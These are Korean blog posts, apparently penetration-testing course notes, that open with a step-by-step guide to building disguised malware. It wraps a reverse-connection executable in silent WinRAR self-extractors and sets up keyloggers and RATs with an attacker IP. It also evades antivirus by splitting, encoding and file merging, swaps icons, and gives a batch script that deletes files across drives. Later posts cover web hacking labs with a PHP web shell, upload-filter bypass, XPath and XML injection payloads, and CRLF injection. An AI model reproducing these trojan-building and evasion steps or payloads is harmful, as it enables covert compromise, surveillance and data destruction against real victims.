다음으로 상단의 고급 탭을 선택하고 오른쪽 하단의 SFX 옵션을 선택한다.

그리고 압축 풀 경로 내용으로 "%appdata%" 입력한다.

그리고 하단의 [ V ] 절대 경로에 생성 부분을 체크 한다. 아직 확인을 선택하지는 않는다.


상단의 업데이트 탭을 선택하고

덮어쓰기 모드 부분에서 [ V ] 모든 파일 덮어쓰기 선택한다. 아직 확인을 선택하지는 않는다.


그리고 설치 탭을 선택하고 압축 푼 후 실행 부분에 reverse_test.exe 라고 입력한다.


상단의 모드 탭을 선택하고 [ V ] 임시폴더에 풀기를 체크한다.

그리고 사일런트 모드 부분에서 [ V ] 모두 숨기기를 체크한다.


이제 모든 설정이 끝나으므로 확인을 선택한다.


Malware 디렉토리에 reverse_test.sfx.exe 파일이 생성되어 있을 것이다.


메모장을 열어서 다음과 같이 입력하고 파일의 이름을 dll.bat 파일로 저장한다.


        \바탕화면\malware\dll.bat 파일의 내용

        reverse_test.sfx.exe -pminecraft -d%appdata%


(주의) 반드시 확장자를 bat로 전환하여야 한다.


다음과 같이 reverse_test.sfx.exe 파일과 dll.bat 파일이 생성 되어 있을 것이다.






이제 두개의 파일(dll.bat, reverse_test.sfx.exe)을 선택하고 다시 WinRAR 실행한다.


왼쪽 부분에 있는 압축 방식을 선택하여 가장 좋음을 선택한다.


오른쪽 부분에 있는 압축 옵션 부분 중 다음과 같은 부분을 선택한다.

[ V ] 자동풀림(SFX) 압축파일 생성

[ V ] 솔리드 압축파일 생성

[ V ] 압축파일 잠금


상단의 고급 탭을 선택하고 오른쪽 하단의 SFX 옵션을 선택한다.

그리고 압축 풀 경로 내용으로 "%appdata%" 입력한다.

그리고 하단의 [ V ] 절대 경로에 생성 부분을 체크 한다. 아직 확인을 선택하지는 않는다.


상단의 업데이트 탭을 선택하고

덮어쓰기 모드 부분에서 [ V ] 모든 파일 덮어쓰기 선택한다. 아직 확인을 선택하지는 않는다.


그리고 설치 탭을 선택하고 압축 푼 후 실행 부분에 dll.bat 라고 입력한다.





상단의 텍스트와 아이콘 탭을 선택하고 하단의 자동 풀림(SFX) 아이콘 파일 부분에서 찾아보기를 선택하고 적당한 아이콘(EX: C:\metasploit\msfgui\metasploit.ico)을 선택한다.


상단의 모드 탭을 선택하고 [ V ] 임시폴더에 풀기를 체크한다.


그리고 하단의 사일런트 모드 부분에서 [ V ] 모두 숨기기를 체크한다.


이제 모든 설정이 끝났으므로 확인을 선택한다. 그럼 Malware.exe 파일이 생성되었을것이다.



이제 이 파일을 virustotal.com 에서 검사하여 보자.






[참고 동영상]

How To Crypt a RAT with Winrar 2016

https://www.youtube.com/watch?v=mL-PqdyuD6Q



RAT(Remote Administrator Tool)

http://www.darkcomet-rat.com/

https://sourceforge.net/directory/os:windows/?q=darkcomet%20rat









[실습7] 파일 쪼개기 툴을 통해 AV 감지 우회 방법(dsplit 사용)



Make a virus Undetectable with hexing

https://www.youtube.com/watch?v=nLcQ-J4rrno


사용하는 툴

- Ardamax Keylogger

- File Spliter


Ardamax Key 다운로드

http://www.ardamax.com/download.html 

(주의) AV 제품을 중지 시키고 받아야 한다. 되도록 VM에서 받도록 한다.


File Spliter 다운로드

http://www.dekabyte.com/filesplitter/download.html

-> 파일이름: TheFileSplitter131.exe



① 준비사항

Ardamax Keylogger 프로그램을 다운로드 받아서 바탕화면의 Malware 디렉토리에 넣는다.

http://www.ardamax.com/download.html 

-> (주의) AV 제품을 중지 시키고 받아야 한다. 되도록 VM에서 받도록 한다.

-> 다운로드 받은 파일이름: setup_akl.zip


그리고 압축을 해제한다. 그럼 setup_akl 디렉토리가 생성이된다.



File Spliter 프로그램을 다운로드 받는다. 그리고 File Spliter 프로그램을 설치한다.

-> http://www.dekabyte.com/filesplitter/download.html

-> 파일이름: TheFileSplitter131.exe

-> 설치시 특별한 옵션은 없다.


② 새로운 폴더를 만든다.


File Spliter 통해 작은 파일로 쪼갠다.


 

 



 

 



 

 



 

 



 

 



How To Make Files Undetectable By Anti Virus

https://www.youtube.com/watch?v=o_qgMcL7s6o



antivirus software에 의해 detect 되는 파일 생성 및 감지 테스트



dsplit 사용하여 큰 파일을 작은 파일로 쪼개어서


dsplit.exe 1 max 10000 SERVUDAEMON.exe






[실습8] msfvenom 사용하는 경우(encoding 사용 방법)


How to make your Keylogger/RAT 100% FUD for Free without crypter

https://www.youtube.com/watch?v=JjxQ7BKfIoM
















[실습 9]Ardamax Keylogger 4.0.3


Key File


Advanced BAT to EXE Converter v2.83(파일이름: advbatto.exe)


Keylogger 프로그램을 설치할려고 하면 설치가 되지 않는다.



virus 제작 방법


virus 탐지 확률 줄이기


virus 숨기는 방법


Make Virus ,Trojan, Keylogger Fully Undetectable 100% With Proof by Scanning With All Antivirus

https://www.youtube.com/watch?v=7akHZgq_hwI









[실습10] 무료 툴을 통한 안티바이러스 감지 우회 방법


Secrets of Hackers How To Make Files Undetectable By Anti Virus

https://www.youtube.com/watch?v=tPGbLlpDfR0


파일이름: SSC.exe


















[실습11]



[참고 동영상]

How to hide your Virus, RAT or KeyLogger on a .PNG or .mp4 file

https://www.youtube.com/watch?v=kCqVS87Gepo#t=9.651667


사용시스템

- Windows 7


사용 툴

- Hex Workshop Hex Editor v6.8.0


프로그램 다운로드

- hexworkshop.com


Hex Workshop Hex Editor 다운로드 및 설치



virus을 숨기는 방법

RAT or KEYLOGGER extension 속이기


예) sqlidumper.exe -> .jpg or .png or .bat 등의 여러가지로


① download Hex Workshop

http://hexworkshop.com

- Hex Workshop Hex Editor v6.8.0 다운로드


② 설치 및 실행


③ 다양한 종류의 virus를 RAT(.rar) 형식으로 변환






RAT 설정










메모장에서

DEL C:\".3GP /s

DEL D:\".3GP /s

DEL E:\".3GP /s

DEL F:\".3GP /s

DEL G:\".3GP /s

DEL H:\".3GP /s

DEL I:\".3GP /s

DEL C:\Delbat.bat





악성 코드 제작 하기


목적

악성 코드를 제작해 보고 우리가 제작한 악성코드가 안티바이러스 제품 중 어떤 제품에 의해서 검출되는지 확인한다.

또한 encoding 등 여러가지 과정을 거쳐서 안티바이러스 제품이 검출율이 떨어지도록 구성해 본다.


사용 운영체제

Windows 7 64bit SP1   : Attacker

Windows 2008 R2 64bit : Victim


사용 도구

Dark Connect v3.4 : backdoor.exe 파일 제작

Power Merger v1.2 : 파일 병합

Simply Icon v1.1  : 아이콘 제작

Res Hacker v3.4.0 : 아이콘 변경



(1) backdoor.exe 파일 생성


Dark Connect 프로그램 다운로드

http://eagleshoweagle.wix.com/dark-connect-rat


Dark Connect 프로그램 설치


Dark Connect 프로그램 실행



 Setting

        IP \ Host : 공격자 IP

        Port : 포트번호

        Target PC : ■ Check □ Uncheck

        User Name : 이름

        Install Folder : "C: \Users \[$사용자명] \Appdata\Roaming \"입                 력한 폴더명""

        Install EXE : "C: \Users \[$사용자명] \Appdata\Roaming \"입력한                         폴더명"\"입력한파일명”"

        Mutex : 프로세스 중복 실행 방지

 Extra Options

        EXE Hide : 첫 실행 후 자동 숨김 파일 변경 유무

        Folder Hide : 첫 실행 후 자동 숨김 폴더 변경 유무

        Sleep(Sec) : 대기시간(초)

 StartUp

        Registry : 시작프로그램 등록 유무

        Copy : 복사 유무

        Shortcup : 바로가기 유무

 Options

           Aplly : 변경사항 적용

                Build : 악성코드파일 생성


(2) 파일 병합


PowerMerger 프로그램 다운로드


PowerMerger 프로그램 설치


PowerMerger 프로그램 실행



Fils to be merged

        1st : 병합할 첫 번째 파일

        2st : 병합할 두 번째 파일

 After execution

        do nothing : 아무것도 하지 않는다.

        delete file : 파일을 지운다.

        replace with 1st file : 첫 번째 파일에 덮어씌운다.

        replace with 2nd file : 두 번째 파일에 덮어씌운다.

Merge! : 병합파일 생성



(3) 아이콘 추출





(4) 아이콘 변경






















'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160901 프로젝트#5  (0) 2016.09.07
20160831 파일업로드 취약점  (0) 2016.09.01
20160830 XML, CRLF, XSS Injection  (0) 2016.08.31
20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160826 웹보안  (0) 2016.08.27
Posted by 22Hz
, |


\\172.16.13.1

\00_공지사항

\제09기_오후반_제5차프로젝트


파일이름: <최종프로젝트 이름>_<홍길동>.txt

파일내용: 


1. 프로젝트 제목: 웹해킹과 보안에 대한 분석

2. 프로젝트 개요: 

3. 프로젝트 인원: 홍길동1, 홍길동2, 홍길동3, ....

4. 프로젝트 기간: 2016년09월05월 ~ 10월13일



제 01조

제 02조

제 03조

제 04조

제 05조

제 06조

제 07조

제 08조



Posted by 22Hz
, |

다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 5 장   파일 업로드
















파일 업로드 취약점이란 게시판 등의 파일을 업로드 할 수 있는 기능을 악용하여 악의적인 파일(웹셀) 업로드를 통해 시스템 권한을 장악하는 기법을 의미한다.


게시판 업로드 기능헤서 파일 확장자에 대한 검사가 수행되지 않는 경우 취약점이 발생된다.


다음은 웹서버에서 실행 가능한 확장자에 대한 예시이다.

----------------------------------------------------------------------

개발언어         공격 가능한 확장자

----------------------------------------------------------------------

ASP, ASPX       asp, aspx, htm, html, asa 등      

PHP             phtml, php, php3, php4, php5, inc, htm, html 등

JSP, JAVA       jsp, jspx, jsw, jsv, jspf, htm, html 등

PERL            pl, pm, cgi, lib, htm, html 등

ColdFusion      cfm, cfml, cfc, dbm, htm, html 등

----------------------------------------------------------------------






[실습] MIME 타입 변조 및 우회


테스트 대상 : 아파치 APM

테스트 도구 : 웹브라우저, Burp Suite(프록시 도구)

준비사항    : 웹서버(아파치 APM), 웹페이지



① 준비 사항


아파치 APM를 설치한다. (APMSetup 통해 구성한다.)


기본설정으로 설치하면 C:\APM_Setup 디렉토리가 생성된다.


② 웹페이지 생성


MIME 타입 변조 및 우회 실습을 위한 테스트 페이지를 생성한다.


다음과 같은 파일을 C:\APM_Setup\upload.html 파일로 생성한다.


■ C:\APM_Setup\upload.html

<html>

<head><titile>FileUpload</title></head>

<body>

<form enctype="multipart/form-data" action="upload.php" method="post">

<fieldset>

<legend><font size="2">Please Choose Image File:</legend>

File:<input type="file" name="userfile">

<input type="submit" name="upload" value="upload">

</fieldset>

</form>

</body>

</html>


■ C:\APM_Setup\upload.html 파일에 대한 해석

<html>

<head><titile>FileUpload</title></head>

<body>

/* <... form ...> : 폼 관련 요소를 form 요소에 명시적으로 연결 */

/* <... enctype ...> : 폼을 전송할 때 사용할 인코딩 방법을 지정 */

/* <... action ...> : 업로드 파일을 처리하기 위한 페이지 지정 */

/* <... method ...> : 전송 방식으로 GET, POST등의 방식을 지정 */

<form enctype="multipart/form-data" action="upload.php" method="post">

<fieldset>

        <legend><font size="2">Please Choose Image File:</legend>

        /* <... input type ...> : 요소의 데이터 타입과 연관된 컨트롤을 조절 */

        File:<input type="file" name="userfile">

        <input type="submit" name="upload" value="upload">

</fieldset>

</form>

</body>

</html>


다음과 같은 파일을 C:\APM_Setup\upload.php 파일로 생성한다.


■ C:\APM_Setup\upload.php 파일

<? php

$uploaddir = 'uploads/';

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

 

if(in_array($_FILES['userfile']['type'],array('image/jpeg','image/pjpeg','image/png','image/gif'))){

{

if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){

echo "FileName:".$_FILES['userfile']['name']." 입니다.";

echo "<p>";

echo '<img src=uploads/'.$_FILES['userfile']['name'].'" />';

}

}

}

else{

echo "<script>alert('이미지타입이 아닙니다.')</script>";

}

?>


■ C:\APM_Setup\upload.php 파일에 대한 해석

<? php

$uploaddir = 'uploads/';

/* basename(string $path [,string $suffix]) : 경로의 이름 구성 요소를 반환 */

/* 예제: <? php $name = basename("/etc/passwd"); echo $name; ?> */

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

 

/* in_array(mixed $needle, arry $haystack[, bool $strict = FALSE]) : 배열에 값이 있는지 점검한다. 두번째 패러미터 $haystack 배열에서 첫번째 패러미터인 $needle 값이 존재하는지 검사한다. */

/* 예시: <? php $os = arrary("Mac", "NT", "Linux"); if (in_arrary("Linux", $os)) { echo "Got Linux"; } else { echo "Nothing"; } ?> */

if(in_array($_FILES['userfile']['type'],array('image/jpeg','image/pjpeg','image/png','image/gif'))){

{

/* move_uploaded_file(string $filename, string $destination) : 새로운 위치로 업로드된 파일을 이동한다. */

/* 예시: if(move_uploaded_file($_FILES['uploaded']['tmp_name'],$target)){ echo "OK"; } */

if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){

echo "FileName:".$_FILES['userfile']['name']." 입니다.";

echo "<p>";

echo '<img src=uploads/'.$_FILES['userfile']['name'].'" />';

}

}

}

else{

echo "<script>alert('이미지타입이 아닙니다.')</script>";

}

?>


③ 파일 업로드 하기

게시판의 첨부 파일기능에 웹셀파일을 업로드하고 파일확장자 검사여부를 확인하여 우회여부를 결정한다.


테스트를 위한 PHP 웹셀 소스코드는 다음과 같다.


C:\testWebSehll.php 파일

<html>

<div align="left"><font size="2">Input command :</font></div>

<form name="cmd" method=POST" enctype="multipart/form-data">

<input type="text" name="cmd" size="30" class="input"><br>

<pre>

<?php

if ($_POST['cmd']){

$cmd = $_POST['cmd'];

passthru($cmd);

}

?>

</html>


WebSehll.php 파일을 웹에 접속하여 업로드를 시도한다.

-> 해당 웹셀 업로드시 파일 타입 에러가 발생되는 것을 볼수 있을 것이다.


④ 웹 브라우저와 프락시 도구 설정


웹브라우저 설정 : Web Proxy로 127.0.0.1:9000 지정한다.


Burp Suite Proxy 설정 : 127.0.0.1:9000

-> Proxy 탭 > Options 탭 > Edit

   ----------------------------------------------

   interface : 127.0.0.1:9000

   ----------------------------------------------

-> 페이지 하단의 클라이언트 요청을 변경하기 위해서 "Intercept Client Requests" 항목을 체크

   [ V ] Intercept requests based on the following rules: Master interception is tuned off


-> Proxy 탭 > Options 탭 > Intercept is on 으로 설정







그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

*SQL Injection

환경: SQL(웹-DB) 환경에서

공격: 조작된, 악의적인 SQL 구문을 Injection해서

결과: 인증을 우회하거나, 정보를 획득하는 것


*XML 취약성(XPath Injection)

환경: XML(웹-DB) 환경에서

공격: 조작된, 악의적인 XML 구문을 Injection해서

결과: 정보수집, 편집, 확인, 삭제, 인증우회


*XSS(cross-site scripting)

환경: 웹(웹C-웹S)

공격: S(stored=게시판 클릭유도=영구적, reflected=alert구문을 이용해서 악의적인 스크립트 삽입=비영구적)

결과: 정보 획득


*HTML 응답 분할 CRLF


*파일 업로드

환경: 게시판같이 파일을 업로드 할 수 있는 환경

공격: 악의적인, 정상적이지 않은 파일을 업로드해서

결과: 정보 획득, 변경, 삭제, 상대방 시스템 장악


*파일 다운로드

환경: 게시판처럼 파일을 다운로드 받을 수 있는 환경

공격: 조작된 파일(운영체제파일, 시스템정보파일, 히스토리파일, 로그파일)을 악의적으로 다운로드

결과: 정보 획득, 상대방 시스템 장악

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160919 악성코드제작하기  (0) 2016.09.19
20160901 프로젝트#5  (0) 2016.09.07
20160830 XML, CRLF, XSS Injection  (0) 2016.08.31
20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160826 웹보안  (0) 2016.08.27
Posted by 22Hz
, |

⑤ XML Xpath 취약점에 대한 기초적인 점검


(주의) Proxy 탭 > Intercept 탭 > Intercept is on 선택(uncheck => intercept is off)


웹 브라우저(http://demo.testfire.net/bank/login.aspx)에서 다음과 같은 테스트를 진행한다.

ID/PASS 입력 후 로그인한다.(ID/PASS : admin/admin)


왼쪽 메뉴 중 "Search News Articles" 선택한다.




입력 : Unix

-> 정상화면이 출력된다.



입력 : Unix'

-> (주의) 에러메세지는 반드시 메모장에 복사하고 붙여서 분석하여야 한다.

-> 에러메세지:

'string(/news/publication[contains(title,'Unix'') and (isPublic/text()='True')]/title/text())' has an invalid token.






입력: Unix' or

-> 에러메세지 :

'string(/news/publication[contains(title,'Unix' or') and (isPublic/text()='True')]/title/text())' has an invalid token.



입력: Unix' or 1=1

-> 에러메세지:

'string(/news/publication[contains(title,'Unix' or 1=1') and (isPublic/text()='True')]/title/text())' has an invalid token.









입력: Unix' or '1=1

-> 원래는 정상적인 화면이 나온다. 따라서 구문이 완성이 되었다.



테스트한 결과를 정리해 보면 다음과 같다.

Unix

(정상) 

Unix'

(에러) 'string(/news/publication[contains(title,'Unix'') and (isPublic/text()='True')]/title/text())'

Unxi' or

(에러) 'string(/news/publication[contains(title,'Unix' or') and (isPublic/text()='True')]/title/text())'

Unix' or 1=1

(에러) 'string(/news/publication[contains(title,'Unix' or 1=1') and (isPublic/text()='True')]/title/text())'

Unix' or '1=1

(정상) 'string(/news/publication[contains(title,'Unix' or '1=1') and (isPublic/text()='True')]/title/text())'






[실습] XPath Injection을 통한 사용자 정보 추출 과정


XPath Injection을 이용한 사용자 정보 추출 과정에 대해 배운다.


        ■ OWASP 10대 취약점을 테스트 하기 위한 Web Server(WAS)

           - DVWA

           - WebGoat


(준비) WebGoat 5.4 버전


■ WebGoat 프로그램 다운로드 사이트(WebGoat 5.4)

http://code.google.com/p/webgoat/downloads/list


■ WebGoat 프로그램 설치

- 자바 1.4.1 이상의 버전 설치

- 시스템 환경 변수 설정

- WebGoat 설치(압축해제)

  -> 압축을 해제하고 안에 들어 있는 webgoat_8080을 실행하면 된다.


■ WebGoat 5.4 버전 종류와 포트 사용

webgoat         80 포트를 사용한다.

webgoat_8080     8080 포트를 사용한다.




이전 실습 과정에 연속된 과정이다.


① WebGoat 5.4 설정 파일 수정 및 실행


        (주의) 반드시 Web Proxy 설정을 uncheck 한다.


■ WebGoat 설정 파일 수정

WebGoat 설치 디렉토리 안의 conf 디렉토리안에 설정 파일이 존재하고 이 파일을 수정한다.

- WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\conf\server_8080.xml

[수정전]

         <Connector address="127.0.0.1" port="8080" maxHttpHeaderSize="8192"

               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"

               enableLookups="false" redirectPort="8443" acceptCount="100"

               connectionTimeout="20000" disableUploadTimeout="true"

               allowTrace="true" />

[수정후]

         <Connector address="192.168.10.202" port="8080" maxHttpHeaderSize="8192"

               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"

               enableLookups="false" redirectPort="8443" acceptCount="100"

               connectionTimeout="20000" disableUploadTimeout="true"

               allowTrace="true" />

-> 자신의 IP로 변경한다.


■ WebGoat를 바탕화면에 아이콘으로 만들고 실행한다.


WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\webgoat_8080.bat -> 바탕화면에 바로가기 아이콘


바탕화면에 존재하는 webgoat_8080.bat 실행한다.


■ WebGoat 실행 확인

C:\Users\soldesk>netstat -a | findstr 8080

  TCP    127.0.0.1:8080         soldesk-PC:0           LISTENING




② WegGoat 접속


웹브라우저에 http://192.168.10.202:8080/WebGoat/attack 접속한다.

        ID/PASS : guest/guest


접속한 이후에 Start WebGoat 선택한다.


③ XPath Injection 실습을 위해 적당한 메뉴을 선택


왼쪽 중간의 Injection Flaws 선택 > XPATH Injection 선택


④ 제공된 계정 및 암호(Mike/test123)을 이용하여 로그인


제공된 계정(Mike)와 암호(test123)을 이용하여 로그인한다.


⑤ XML XPath Injection 가능 여부 확인


User Name 입력 란에 Mike 뒤에 특수문자(')을 입력하고 로그인해 본다.

-> 에러 메세지가 나오고 사용자 계정/비밀번호가 일치하지 않는다는 메세지을 출력하고 있다.

-> 에러 메세지:

   Error generating org.owasp.webgoat.lessions.XPATHInjection


⑥ 인증 우회 시도


위 ⑤번의 웹페이지에 대한 XML 데이터가 다음과 같다고 가정해 본다.

-------------------------------------------------------

<database>

        <user_list>

                <username>admin</username>

                <password>none</password>

                <account>Administrator</account>

        </user_list>

</database>

-------------------------------------------------------


위와 같은 XML 데이터에 접근하는 XPath 표현식은 아래와 같이 될것이다.

string(//user_list[username/text()='admin' and password/text()='none']/account/text())


인증을 우회하는 일반적인 패턴인 아래와 같은 형식을 사용한다면

        인증 우회에 사용되는 일반적인 패턴 : a' or '1' = '1

        XPath 표현식:

                string(//user_list[username/text()='a' or '1' = '1' and password/text()='a'

                or '1' = '1']/account/text())


WebGoat으로 돌아와서 인증 우회을 위한 시도를 한다.

        User name: a' or '1=1

        Password : a' or '1=1

-> 정상적으로 로그인 되는 것을 확인할 수 있다.



[실습] XML Injection 데이터 변조 실습


(study) 사용자를 추가하는 다음과 같은 XML 구조가 있다고 가정해 보자.


http://www.xxx.com/addUser.php?uname=aackc&pwd=0005&mail=aackc@example.com

<?xml version="1.0" encoding="ISO-8859-1"?>

<users>

        <user>

                <uname>angle</uname>

                <pwd>12345</pwd>

                <uid>0</uid>

                <mail>angel@example.com</mail>

        </user>

        <user>

                <uname>devel</uname>

                <pwd>55555</pwd>

                <uid>500</uid>

                <mail>devel@example.com</mail>

        </user>

</users>


위와 같은 구조를 가지고 있다면 아래와 같은 URL 요청을 통해 새로운 사용자의 추가가 가능할 것이다.


http://www.xxx.com/addUser.php?Uname=aackc&pwd=0005&mail=aackc@example.com</mail></user>

<user><uname>kth</uname><pwd>555</pwd><uid>0</uid><mail>kth@example.com</mail>

<?xml version="1.0" encoding="ISO-8859-1"?>

<users>

        <user>

                <uname>angle</uname>

                <pwd>12345</pwd>

                <uid>0</uid>

                <mail>angel@example.com</mail>

        </user>

        <user>

                <uname>devel</uname>

                <pwd>55555</pwd>

                <uid>500</uid>

                <mail>devel@example.com</mail>

        </user>

        <user>

                <uname>kth</uname>

                <pwd>555</pwd>

                <uid>0</uid>

                <mail>kth@example.com</mail>

        </user>

</users>





위와 같은 이론을 WebGoat에서 실습해 보자.


① WebGoat에서 XML Injection 선택


WebGoat 왼쪽 메뉴 중간에 AJAX Security 하단의 XML Injection 선택


② 미리 제공된 사용자 계정 ID(836239)를 입력

-> 하단 부분에 마일리지와 그 마일리지를 사용하여 보상 받을 수 있는 제품을 출력해 준다.





③ Burp Suite 사용하여 XML 데이터 변조 시도


(가정) Burp Suite 켜져 있는 상태라고 가정한다.


Burp Suite에서

        Proxy 탭 > Options 탭 >

                [ V ] intercept Client Request

                [ V ] intercept Server Response

        Proxy 탭 > Intercept 탭 > intercept is off 선택(check => intercept is on)


웹브라우저에서 사이트(http://192.168.10.202:8080/WebGoat/attack?Screen=59&menu=400)에 미리 입력된 값(836239)을 적는다.


Burp Suite 에서 다음과 같은 화면을 볼수 있고 Forward을 선택한다.


Forward를 선택하고 나면 다음과 같은 화면을 볼수 있다.




다음과 같은 내용을 추가로 입력한다.

-> 추가된 내용

        <root>

        <reward>WebGoat Mug 20 Pts</reward>

        <reward>WebGoat t-shirt 50 Pts</reward>

        <reward>WebGoat Secure Kettle 30 Pts</reward>

        <reward>WebGoat Core Duo Laptop 2000 Pts</reward>

        <reward>WebGoat Hawaii Cruise 3000 Pts</reward>

        </root>


위의 내용을 입력한 후 Forward를 선택하고 웹브라우저에서 확인한다.

-> 내용이 늘어난것을 확인할 수 있다.





(원복)

Burp Suite 종료

[과제] 소스 코드 Injection에 대한 문서화 작업을 진행한다.(시간 : 1시간)

목표: 소스 코드 수정 가능한 사이트를 검색하고 문서화 작업을 진행한다.





다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 3 장   HTTP 응답분할(CRLF Injection)








[실습] CRLF Injection


CRLF(Carriage Return and Line Feed) Injection
= HTTP Response Splitting Attack
= \r\n (%0A%0D)

CRLF란?
Carriage Return & Line Feed을 사용하여 Response Header/Body에 특정 헤더 정보를 삽입하는 공격 방법이다.



(가정) 

paros 켜져 있는 상태라고 가정한다.

웹브라우저는 paros proxy를 지정하고 있다고 가정한다.

APM 기동 중이라고 가정한다.(서비스명: APM_APACHE2, APM_MYSQL5)




① CRLF 테스트를 위한 소스 코드 다운로드 및 웹 사이트 구축


■ CRLF 테스트를 위한 소스코드 다운로드

- http://cafe.naver.com/sec 카페에서 "테스트PHP.ZIP" 파일을 다운로드(공유디렉토리 참고)


■ 다운로드한 "테스트PHP.ZIP" 파일을 C:\APM_Setup\htdocs 디렉토리에 푼다.


■ 웹브라우저로 웹페이지 확인(http://192.168.10.202/index.html)

-> 웹서버의 메인 페이지가 보이게 될것이다.

-> http://192.168.10.202/index.html

③ 타겟에 대한 정보 수집


■ 웹브라우저에서 CRLF 선택해 본다.


■ 다음과 같이 특별한 결과가 나오지 않는다.

-> 위의 URL을 보면 http://192.168.10.202/crlf.php?page=ffff 라고 되어있다.

-> 실제 이 페이지(ffff)가 존재하지 않는것 같다.



④ 웹요청에 대해 paros을 통해 분석


paros 화면에서 GET:crlf.php(page) 부분을 선택하고 Request 탭을 선택한다.

-> HTTP Request 와 HTTP Response 부분을 확인하고 분석한다.

-> 페이지의 HTTP Request 정보를 확인하면 다음과 같다.

----------------------------------------------------------------------------------

GET http://192.168.10.202/crlf.php?page=ffff HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: http://192.168.10.202/index.html

Accept-Language: ko-KR

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Paros/3.2.13

Host: 192.168.10.202

Proxy-Connection: Keep-Alive

----------------------------------------------------------------------------------


-> 페이지의 HTTP Response 정보를 확인하면 다음과 같다.

------------------------------------------

HTTP/1.1 302 Found

Date: Thu, 11 Jun 2015 06:22:52 GMT

Server: Apache

Location: ffff

Content-Length: 0

Content-Type: text/html

------------------------------------------

-> 입력받은 ffff 같을 Location 부분의 값으로 받아들인다는 것을 알수 있고 ffff 라는 페이지가 없

   기 때문에 출력이 없는것 같다.

-> 따라서, ffff 값 대신에 로컬에 존재하는 파일이름을 지정하게 되면 지정된 파일을 내용으로

   Forwarding 될것이다.


        [참고] 원본 소스 코드(crlf.php)

        ---------------------------------------------------

        <?php

        header ("Location: " .  $_GET['page']);

        echo $page;

        ?>

        ---------------------------------------------------

        -> 원본 소스코드를 보면 page 변수로 입력 받은 값을 header 부분에 Location 지시자를 통

            해 지정하도록 되어 있다.

        -> 따라서, 입력한 page 변수에 들어갈 값이 어떤 값인지는 점검하는 부분이 없기 때문에

            아무 페이지나 지정하여 볼수 없는 페이지들을 확인할 수 있게 된다.






⑥ 악의적인 웹요청

웹쪽에서 URL을 변경하여 요청해 본다.

http://192.168.10.202/crlf.php?page=%0D%0A%20index.html

-> index.html 파일이 보이는것을 확인할 수 있다.

-> 웹서버 내부의 어떤 파일에 대해서도 Forwarding 되어 확인할 수 있다는것을 알수 있다.

-> %OD%0A = CRLF


웹쪽에서 URL을 변경하여 요청해 본다.

http://192.168.10.202/crlf.php?page=%0D%0A%20http://www.daum.net

-> 다음(DAUM) 페이지가 보이는것을 확인할 수 있다.




⑦ 같은 작업을 paros쪽에서 수행해 보자.

paros > Trap > [ V ] Trap Request


웹브라우저에서 페이지를 요청해 본다.

http://192.168.10.202/crlf.php?page=ffff (메인 페이지에서 crlf를 선택해도 된다.)


paros을 Trap 탭을 선택하여 일부 정보를 변경하고 continue을 선택한다.

[변경전] http://192.168.10.202/crlf.php?page=ffff

[변경후] http://192.168.10.202/crlf.php?page=http://www.daum.net

-> www.daum.net 사이트는 여러개의 사이트와 연동하기 때문에 continue을 여러번 선택해야 웹브라우

   저 페이지를 정상적으로 볼수 있다.




다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 3 장   XSS(Cross Site Scripting)








XSS 종류

----------------------------------------------------------------------------------

타입종류         유형                                    취약점 발생위치

----------------------------------------------------------------------------------

Type 0  DOM(Document Object Model) XSS(Local XSS)          사용자측 스크립트

Type 1  Reflected XSS(Non-persistent XSS)                  서버측 스크립트

Type 2  Stored XSS(Persistent XSS, Second Order XSS)         서버측 스크립트

----------------------------------------------------------------------------------



[실습] Reflected XSS(1) - Reflected XSS 공격 가능성 유/무 점검


(가정) paros proxy 끄고 웹브라우저를 proxy 지정을 하지 않은 상태에서 실습한다.


점검 대상 : http://testphp.vulnweb.com

점검 도구 : 웹브라우저



① XSS 점검 대상 사이트에 접속하여 XSS 공격 가능성 점검


